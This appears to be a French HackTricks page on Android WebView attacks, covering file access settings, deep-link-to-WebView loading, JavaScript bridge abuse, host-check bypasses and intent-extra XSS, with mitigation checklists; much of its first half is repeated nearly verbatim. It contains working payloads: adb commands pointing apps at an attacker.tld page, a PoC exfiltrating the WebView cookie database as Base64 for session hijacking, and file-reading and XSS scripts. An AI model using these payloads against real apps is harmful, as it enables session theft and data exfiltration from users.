Attaques WebView
Reading time: 20 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Guide sur les configurations et la sécurité de WebView
Aperçu des vulnérabilités de WebView
Un aspect critique du développement Android concerne la gestion correcte des WebView. Ce guide met en avant les configurations clés et les bonnes pratiques de sécurité pour atténuer les risques liés à l'utilisation de WebView.
.png)
AccĂšs aux fichiers dans les WebView
Par défaut, les WebView autorisent l'accÚs aux fichiers. Cette fonctionnalité est contrÎlée par la méthode setAllowFileAccess(), disponible depuis Android API level 3 (Cupcake 1.5). Les applications disposant de la permission android.permission.READ_EXTERNAL_STORAGE peuvent lire des fichiers depuis le stockage externe en utilisant le schéma d'URL file (file://path/to/file).
Fonctionnalités obsolÚtes : Universal and File Access From URLs
- Universal Access From File URLs: Cette fonctionnalitĂ© obsolĂšte autorisait les requĂȘtes cross-origin depuis des URLs file, reprĂ©sentant un risque de sĂ©curitĂ© majeur Ă cause d'Ă©ventuelles attaques XSS. Le rĂ©glage par dĂ©faut est dĂ©sactivĂ© (
false) pour les apps ciblant Android Jelly Bean et versions ultérieures. - Pour vérifier ce réglage, utilisez
getAllowUniversalAccessFromFileURLs(). - Pour modifier ce réglage, utilisez
setAllowUniversalAccessFromFileURLs(boolean). - File Access From File URLs: Cette fonctionnalité, également obsolÚte, contrÎlait l'accÚs au contenu depuis d'autres URL utilisant le schéma file. Comme pour Universal Access, son réglage par défaut est désactivé pour renforcer la sécurité.
- Utilisez
getAllowFileAccessFromFileURLs()pour vérifier etsetAllowFileAccessFromFileURLs(boolean)pour définir.
Chargement sécurisé des fichiers
Pour désactiver l'accÚs au systÚme de fichiers tout en continuant d'accéder aux assets et ressources, on utilise la méthode setAllowFileAccess(). Avec Android R et versions ultérieures, le réglage par défaut est false.
- Vérifiez avec
getAllowFileAccess(). - Activez ou désactivez avec
setAllowFileAccess(boolean).
WebViewAssetLoader
La classe WebViewAssetLoader est l'approche moderne pour charger des fichiers locaux. Elle utilise des URLs http(s) pour accéder aux assets et ressources locaux, se conformant à la Same-Origin policy et facilitant ainsi la gestion du CORS.
loadUrl
C'est une fonction courante utilisée pour charger des URL arbitraires dans un WebView :
webview.loadUrl("<url here>")
Ăvidemment, un attaquant potentiel ne devrait jamais ĂȘtre capable de contrĂŽler l'URL que l'application va charger.
JavaScript et gestion de l'Intent Scheme
- JavaScript : DĂ©sactivĂ© par dĂ©faut dans les WebViews, il peut ĂȘtre activĂ© via
setJavaScriptEnabled(). Il convient de faire preuve de prudence, car activer JavaScript sans protections appropriées peut introduire des vulnérabilités de sécurité. - Intent Scheme : Les WebViews peuvent gérer le scheme
intent, ce qui peut conduire Ă des exploits si ce n'est pas correctement maĂźtrisĂ©. Une vulnĂ©rabilitĂ© exemple impliquait un paramĂštre WebView exposĂ© "support_url" qui pouvait ĂȘtre exploitĂ© pour exĂ©cuter des attaques de cross-site scripting (XSS).
.png)
Exemple d'exploitation utilisant adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView âes support_url "https://example.com/xss.html"
Javascript Bridge
Android fournit une fonctionnalitĂ© qui permet au JavaScript dans une WebView d'invoquer des fonctions natives de l'application Android. Cela se fait en utilisant la mĂ©thode addJavascriptInterface, qui intĂšgre JavaScript aux fonctionnalitĂ©s natives d'Android, appelĂ©e WebView JavaScript bridge. Il convient d'ĂȘtre prudent car cette mĂ©thode permet Ă toutes les pages chargĂ©es dans la WebView d'accĂ©der Ă l'objet JavaScript Interface enregistrĂ©, ce qui reprĂ©sente un risque de sĂ©curitĂ© si des informations sensibles sont exposĂ©es via ces interfaces.
- Une extrĂȘme prudence est requise pour les applications ciblant les versions d'Android antĂ©rieures Ă 4.2 en raison d'une vulnĂ©rabilitĂ© permettant l'exĂ©cution de code Ă distance via du JavaScript malveillant exploitant la reflection.
Implementing a JavaScript Bridge
- Les interfaces JavaScript peuvent interagir avec du code natif, comme montrĂ© dans les exemples oĂč une mĂ©thode de classe est exposĂ©e Ă JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge est activé en ajoutant une interface au WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- Exploitation potentielle via JavaScript, par exemple via une attaque XSS, permet d'appeler des méthodes Java exposées :
<script>
alert(javascriptBridge.getSecret())
</script>
- Pour attĂ©nuer les risques, restrict JavaScript bridge usage au code livrĂ© avec l'APK et empĂȘcher le chargement de JavaScript depuis des sources distantes. Pour les appareils plus anciens, dĂ©finissez le niveau d'API minimum sur 17.
Reflection-based Remote Code Execution (RCE)
- Une méthode documentée permet d'atteindre RCE via reflection en exécutant un payload spécifique. Cependant, l'annotation
@JavascriptInterfaceempĂȘche l'accĂšs non autorisĂ© aux mĂ©thodes, limitant la surface d'attaque.
Remote Debugging
- Remote debugging est possible avec Chrome Developer Tools, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu du WebView.
Activation de Remote Debugging
- Remote debugging peut ĂȘtre activĂ© pour tous les WebViews au sein d'une application en :
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Pour activer le debugging de maniÚre conditionnelle en fonction de l'état debuggable de l'application:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrer des fichiers arbitraires
- Démontre l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Webview Attacks
Guide on WebView Configurations and Security
Overview of WebView Vulnerabilities
Un aspect critique du développement Android concerne la gestion correcte des WebViews. Ce guide met en évidence les configurations clés et les bonnes pratiques de sécurité pour atténuer les risques liés à l'utilisation des WebViews.
.png)
File Access in WebViews
Par défaut, les WebViews autorisent l'accÚs aux fichiers. Cette fonctionnalité est contrÎlée par la méthode setAllowFileAccess(), disponible depuis Android API level 3 (Cupcake 1.5). Les applications disposant de la permission android.permission.READ_EXTERNAL_STORAGE peuvent lire des fichiers depuis le stockage externe en utilisant un schéma d'URL file (file://path/to/file).
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: Cette fonctionnalitĂ© obsolĂšte autorisait les requĂȘtes cross-origin depuis des file URLs, reprĂ©sentant un risque de sĂ©curitĂ© important Ă cause d'attaques XSS potentielles. Le rĂ©glage par dĂ©faut est dĂ©sactivĂ© (
false) pour les apps ciblant Android Jelly Bean et versions ultérieures. - Pour vérifier ce réglage, utilisez
getAllowUniversalAccessFromFileURLs(). - Pour modifier ce réglage, utilisez
setAllowUniversalAccessFromFileURLs(boolean). - File Access From File URLs: Cette fonctionnalité, également obsolÚte, contrÎlait l'accÚs au contenu depuis d'autres file scheme URLs. Comme pour l'accÚs universel, son réglage par défaut est désactivé pour renforcer la sécurité.
- Utilisez
getAllowFileAccessFromFileURLs()pour vérifier etsetAllowFileAccessFromFileURLs(boolean)pour définir.
Secure File Loading
Pour désactiver l'accÚs au systÚme de fichiers tout en continuant d'accéder aux assets et resources, on utilise la méthode setAllowFileAccess(). Avec Android R et versions supérieures, le réglage par défaut est false.
- Vérifiez avec
getAllowFileAccess(). - Activez ou désactivez avec
setAllowFileAccess(boolean).
WebViewAssetLoader
La classe WebViewAssetLoader est l'approche moderne pour charger des fichiers locaux. Elle utilise des URLs http(s) pour accéder aux assets et resources locaux, en respectant la Same-Origin policy, facilitant ainsi la gestion du CORS.
loadUrl
Ceci est une fonction courante utilisée pour charger des URLs arbitraires dans un WebView:
webview.loadUrl("<url here>")
Ăvidemment, un attaquant potentiel ne devrait jamais pouvoir contrĂŽler l'URL que va charger une application.
Deep-linking into internal WebView (custom scheme â WebView sink)
Beaucoup d'applications enregistrent des custom schemes/paths qui redirigent une URL fournie par l'utilisateur vers un WebView intégré. Si le deep link est exporté (VIEW + BROWSABLE), un attaquant peut forcer l'application à afficher du contenu distant arbitraire dans son contexte WebView.
Schéma typique de manifest (simplifié) :
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
Flux de code commun (simplifié) :
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
ModĂšle d'attaque et PoC via adb:
# Template â force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact : la page distante s'exécute dans le contexte WebView de l'application (cookies/session du profil WebView de l'application, accÚs à tout @JavascriptInterface exposé, accÚs potentiel à content:// et file:// selon les paramÚtres).
Hunting tips:
- Grep des sources décompilées pour
getQueryParameter("url"),loadUrl(,WebViewsinks, et les gestionnaires de deep-link (onCreate/onNewIntent). - Examinez le manifest pour les filtres VIEW+BROWSABLE et les schémas/hÎtes personnalisés qui correspondent à des activities qui lancent ensuite une WebView.
- VĂ©rifiez s'il existe plusieurs deep-link paths (e.g., an âexternal browserâ path vs. an âinternal webviewâ path) et privilĂ©giez celui qui s'affiche Ă l'intĂ©rieur de l'application.
Activation de JavaScript avant la vérification (order-of-checks bug)
Une erreur de durcissement frĂ©quente consiste Ă activer JavaScript ou Ă configurer des paramĂštres WebView relĂąchĂ©s avant que l'allowlist/vĂ©rification finale de l'URL cible ne soit terminĂ©e. Si la vĂ©rification est incohĂ©rente entre les helpers ou arrive trop tard, un deep link d'attaquant peut atteindre un Ă©tat oĂč :
- les paramĂštres WebView s'appliquent (e.g.,
setJavaScriptEnabled(true)), et - l'URL non fiable est chargée avec JavaScript activé.
Schéma du bug (pseudocode) :
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late â JS already enabled
// 4) Load
webView.loadUrl(u.toString());
Pourquoi c'est exploitable
- Normalisation inconsistante : les helpers scindent/reconstruisent l'URL différemment de la vérification finale, créant des divergences qu'une URL malveillante peut exploiter.
- Pipeline mal ordonnĂ©e : activer JS Ă l'Ă©tape 2 s'applique globalement Ă l'instance WebView, affectant le chargement final mĂȘme si la vĂ©rification Ă©choue ensuite.
Comment tester
- Concevoir des payloads de deep-link qui passent les contrÎles précoces et atteignent le site de configuration WebView.
- Utiliser adb pour envoyer des intents implicites VIEW fournissant un paramĂštre
url=que vous contrĂŽlez :
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Si l'exploitation réussit, votre payload exécute du JavaScript dans le WebView de l'application. à partir de là , recherchez des bridges exposés :
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
Conseils défensifs
- Canoniser une seule fois ; valider strictement par rapport à une unique source de vérité (scheme/host/path/query).
- N'appelez
setJavaScriptEnabled(true)qu'aprĂšs le passage de toutes les vĂ©rifications allowlist et juste avant de charger du contenu de confiance. - Ăvitez d'exposer
@JavascriptInterfaceà des origines non fiables ; préférez un contrÎle par origine. - Envisagez d'utiliser des instances WebView distinctes pour le contenu de confiance et non fiable, avec JS désactivé par défaut.
Gestion de JavaScript et du scheme intent
- JavaScript : DĂ©sactivĂ© par dĂ©faut dans les WebViews, il peut ĂȘtre activĂ© via
setJavaScriptEnabled(). La prudence est de mise : activer JavaScript sans protections appropriées peut introduire des vulnérabilités de sécurité. - Intent Scheme : Les WebViews peuvent gérer le scheme
intent, ce qui peut entraĂźner des exploits si ce n'est pas gĂ©rĂ© soigneusement. Un exemple de vulnĂ©rabilitĂ© impliquait un paramĂštre exposĂ© dans une WebView, "support_url", qui pouvait ĂȘtre exploitĂ© pour exĂ©cuter des attaques cross-site scripting (XSS).
.png)
Exemple d'exploitation utilisant adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView âes support_url "https://example.com/xss.html"
Javascript Bridge
Android fournit une fonctionnalitĂ© qui permet Ă JavaScript dans une WebView d'invoquer des fonctions natives de l'application Android. Cela s'effectue en utilisant la mĂ©thode addJavascriptInterface, qui intĂšgre JavaScript aux fonctionnalitĂ©s natives d'Android, appelĂ©e WebView JavaScript bridge. Il convient d'ĂȘtre prudent car cette mĂ©thode permet Ă toutes les pages au sein de la WebView d'accĂ©der Ă l'objet JavaScript Interface enregistrĂ©, ce qui pose un risque de sĂ©curitĂ© si des informations sensibles sont exposĂ©es via ces interfaces.
- Une extrĂȘme prudence est requise pour les apps ciblant des versions d'Android antĂ©rieures Ă 4.2 en raison d'une vulnĂ©rabilitĂ© permettant l'exĂ©cution de code Ă distance via du JavaScript malveillant exploitant la reflection.
Implémentation d'un JavaScript Bridge
- JavaScript interfaces peuvent interagir avec le code natif, comme montrĂ© dans les exemples oĂč une mĂ©thode de classe est exposĂ©e Ă JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge est activé en ajoutant une interface au WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- Une exploitation potentielle via JavaScript, par exemple via une attaque XSS, permet l'appel de méthodes Java exposées :
<script>
alert(javascriptBridge.getSecret())
</script>
- Pour rĂ©duire les risques, limitez l'utilisation du JavaScript bridge au code livrĂ© avec l'APK et empĂȘchez le chargement de JavaScript depuis des sources distantes. Pour les appareils plus anciens, dĂ©finissez le niveau d'API minimum Ă 17.
Abusing dispatcher-style JS bridges (invokeMethod/handlerName)
Un schéma courant est une unique méthode exportée (par ex., @JavascriptInterface void invokeMethod(String json)) qui désérialise du JSON contrÎlé par l'attaquant en un objet générique et achemine l'exécution en fonction d'un handler fourni. Structure JSON typique :
{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}
Risque : si un handler enregistré exécute des actions privilégiées sur des données contrÎlées par l'attaquant (par ex. lecture directe de fichiers), vous pouvez l'appeler en définissant handlerName en conséquence. Les résultats sont généralement renvoyés dans le contexte de la page via evaluateJavascript et un mécanisme de callback/promise indexé par callbackId.
Key hunting steps
- Décompilez et recherchez
addJavascriptInterface(afin d'identifier le nom de l'objet bridge (par ex.xbridge). - Dans Chrome DevTools (chrome://inspect), tapez le nom de l'objet bridge dans la Console (par ex.
xbridge) pour Ă©numĂ©rer les champs/mĂ©thodes exposĂ©s ; cherchez un dispatcher gĂ©nĂ©rique commeinvokeMethod. - ĂnumĂ©rez les handlers en recherchant les classes implĂ©mentant
getModuleName()ou des maps d'enregistrement.
Lecture arbitraire de fichiers via URI â File sinks (exfiltration Base64)
Si un handler prend un URI, appelle Uri.parse(req.getUri()).getPath(), construit new File(...) et le lit sans allowlists ni vérifications de sandbox, vous obtenez une lecture arbitraire de fichier dans le sandbox de l'app qui contourne les paramÚtres WebView comme setAllowFileAccess(false) (la lecture se fait dans le code natif, pas via la pile réseau du WebView).
PoC pour exfiltrer la Chromium WebView cookie DB (détournement de session) :
// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};
const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});
xbridge.invokeMethod(payload);
Notes
- Les chemins de la DB des cookies varient selon les appareils/fournisseurs. Exemples courants :
file:///data/data/<pkg>/app_webview/Default/Cookiesfile:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies- Le handler renvoie du Base64 ; décodez-le pour récupérer les cookies et vous faire passer pour l'utilisateur dans le profil WebView de l'app.
Detection tips
- Surveillez la présence de longues chaßnes Base64 retournées via
evaluateJavascriptlors de l'utilisation de l'app. - Grep dans les sources décompilées à la recherche de handlers qui acceptent
uri/pathet les convertissent ennew File(...).
Bypassing WebView privilege gates â endsWith() host checks
Les décisions de privilÚges (sélection d'une JSB-enabled Activity) reposent souvent sur des allowlists d'hÎtes. Un modÚle défaillant est :
String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true â open privileged WebView
Logique équivalente (lois de De Morgan) :
boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);
Ceci n'est pas une vérification d'origine. De nombreux hÎtes non intentionnés satisfont la deuxiÚme clause, permettant à des domaines non fiables d'entrer dans l'Activity privilégiée. Vérifiez toujours le scheme et le host par rapport à une allowlist stricte (correspondance exacte ou une vérification correcte des sous-domaines avec des limites par point), et non des astuces endsWith.
javascript:// primitive d'exécution via loadUrl
Une fois à l'intérieur d'un WebView privilégié, les applications exécutent parfois du JS inline via :
webView.loadUrl("javascript:" + jsPayload);
Si un flux interne dĂ©clenche loadUrl("javascript:...") dans ce contexte, le JS injectĂ© s'exĂ©cute avec un accĂšs au bridge mĂȘme si la page externe ne serait normalement pas autorisĂ©e. Pentest steps:
- Grep pour
loadUrl("javascript:etevaluateJavascript(dans l'app. - Essayez d'atteindre ces chemins de code aprÚs avoir forcé la navigation vers le WebView privilégié (par ex., via un permissive deep link chooser).
- Utilisez le primitive pour appeler le dispatcher (
xbridge.invokeMethod(...)) et atteindre des handlers sensibles.
Mitigations (checklist pour développeurs)
- Vérification stricte de l'origine pour les Activities privilégiées : canonicalisez et comparez scheme/host avec une allowlist explicite ; évitez les vérifications basées sur
endsWith. Considérez Digital Asset Links quand applicable. - Limitez les bridges aux pages de confiance uniquement et re-vérifiez la confiance à chaque appel (autorisation par appel).
- Supprimez ou protégez fortement les handlers capables d'accéder au filesystem ; préférez
content://avec allowlists/permissions plutĂŽt que des cheminsfile://bruts. - Ăvitez
loadUrl("javascript:")dans des contextes privilégiés ou placez-le derriÚre des vérifications strictes. - Rappelez-vous que
setAllowFileAccess(false)ne protĂšge pas contre les lectures natives de fichiers via le bridge.
JSB enumeration and debugging tips
- Activez le WebView remote debugging pour utiliser la Console de Chrome DevTools :
- CÎté app (builds debug) :
WebView.setWebContentsDebuggingEnabled(true) - CĂŽtĂ© systĂšme : des modules comme LSPosed ou des scripts Frida peuvent forcer l'activation du debugging mĂȘme sur les builds release. Exemple de snippet Frida pour les Cordova WebViews : cordova enable webview debugging
- Dans DevTools, tapez le nom de l'objet bridge (ex.,
xbridge) pour voir les membres exposés et sonder le dispatcher.
Exécution de code à distance basée sur la réflexion (RCE)
- Une méthode documentée permet d'obtenir une RCE via la réflexion en exécutant un payload spécifique. Cependant, l'annotation
@JavascriptInterfaceempĂȘche l'accĂšs non autorisĂ© aux mĂ©thodes, limitant la surface d'attaque.
Débogage à distance
- Le débogage à distance est possible avec Chrome Developer Tools, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu du WebView.
Activer le débogage à distance
- Le dĂ©bogage Ă distance peut ĂȘtre activĂ© pour tous les WebViews d'une application en :
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Pour activer conditionnellement le débogage en fonction de l'état debuggable de l'application :
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrer des fichiers arbitraires
- Démontre l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
WebView XSS via Intent extras â loadData()
Une vulnérabilité fréquente consiste à lire des données contrÎlées par un attaquant depuis un extra Intent entrant et à les injecter directement dans un WebView via loadData() avec JavaScript activé.
Schéma vulnérable (exported Activity lit l'extra et l'affiche comme HTML) :
String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");
Si cette Activity est exportée (ou accessible via un proxy exporté), une application malveillante peut fournir du HTML/JS dans l'extra data pour provoquer un reflected XSS :
# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'
Impact
- Arbitrary JS in the appâs WebView context: enumerate/use
@JavascriptInterfacebridges, access WebView cookies/local storage, pivot to file:// or content:// depending on settings.
Mitigations
- ConsidĂ©rez toutes les entrĂ©es dĂ©rivĂ©es d'Intent comme non fiables. Ăchapper (
Html.escapeHtml) ou rejeter le HTML ; privilégier le rendu du texte non fiable comme texte, pas comme HTML. - Désactivez JavaScript sauf si strictement nécessaire ; n'activez pas
WebChromeClientpour du contenu non fiable. - Si vous devez rendre du HTML templatisé, utilisez
loadDataWithBaseURL()avec une base sĂ»re et CSP ; sĂ©parez les WebViews fiables/non fiables. - Ăvitez d'exposer l'Activity Ă l'extĂ©rieur ou protĂ©gez-la avec des permissions quand ce n'est pas nĂ©cessaire.
Related
- See Intent-based primitives and redirection in: Intent Injection
Références
- Review of Android WebViews file access attack vectors
- WheresMyBrowser.Android (demo app)
- Android WebView reference
- Deep Links & WebViews Exploitations â Part II
- Deep Links & WebViews Exploitations â Part I
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 â Samsung S24 attack chain (whitepaper)
- Demonstration video
- Android Intents (1/2): how they work, security, and attack examples â Mobeta
- Account takeover in Android app via JSB â tuxplorer.com
- LSPosed â systemless Xposed framework
- Frida codeshare: Cordova â enable WebView debugging
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks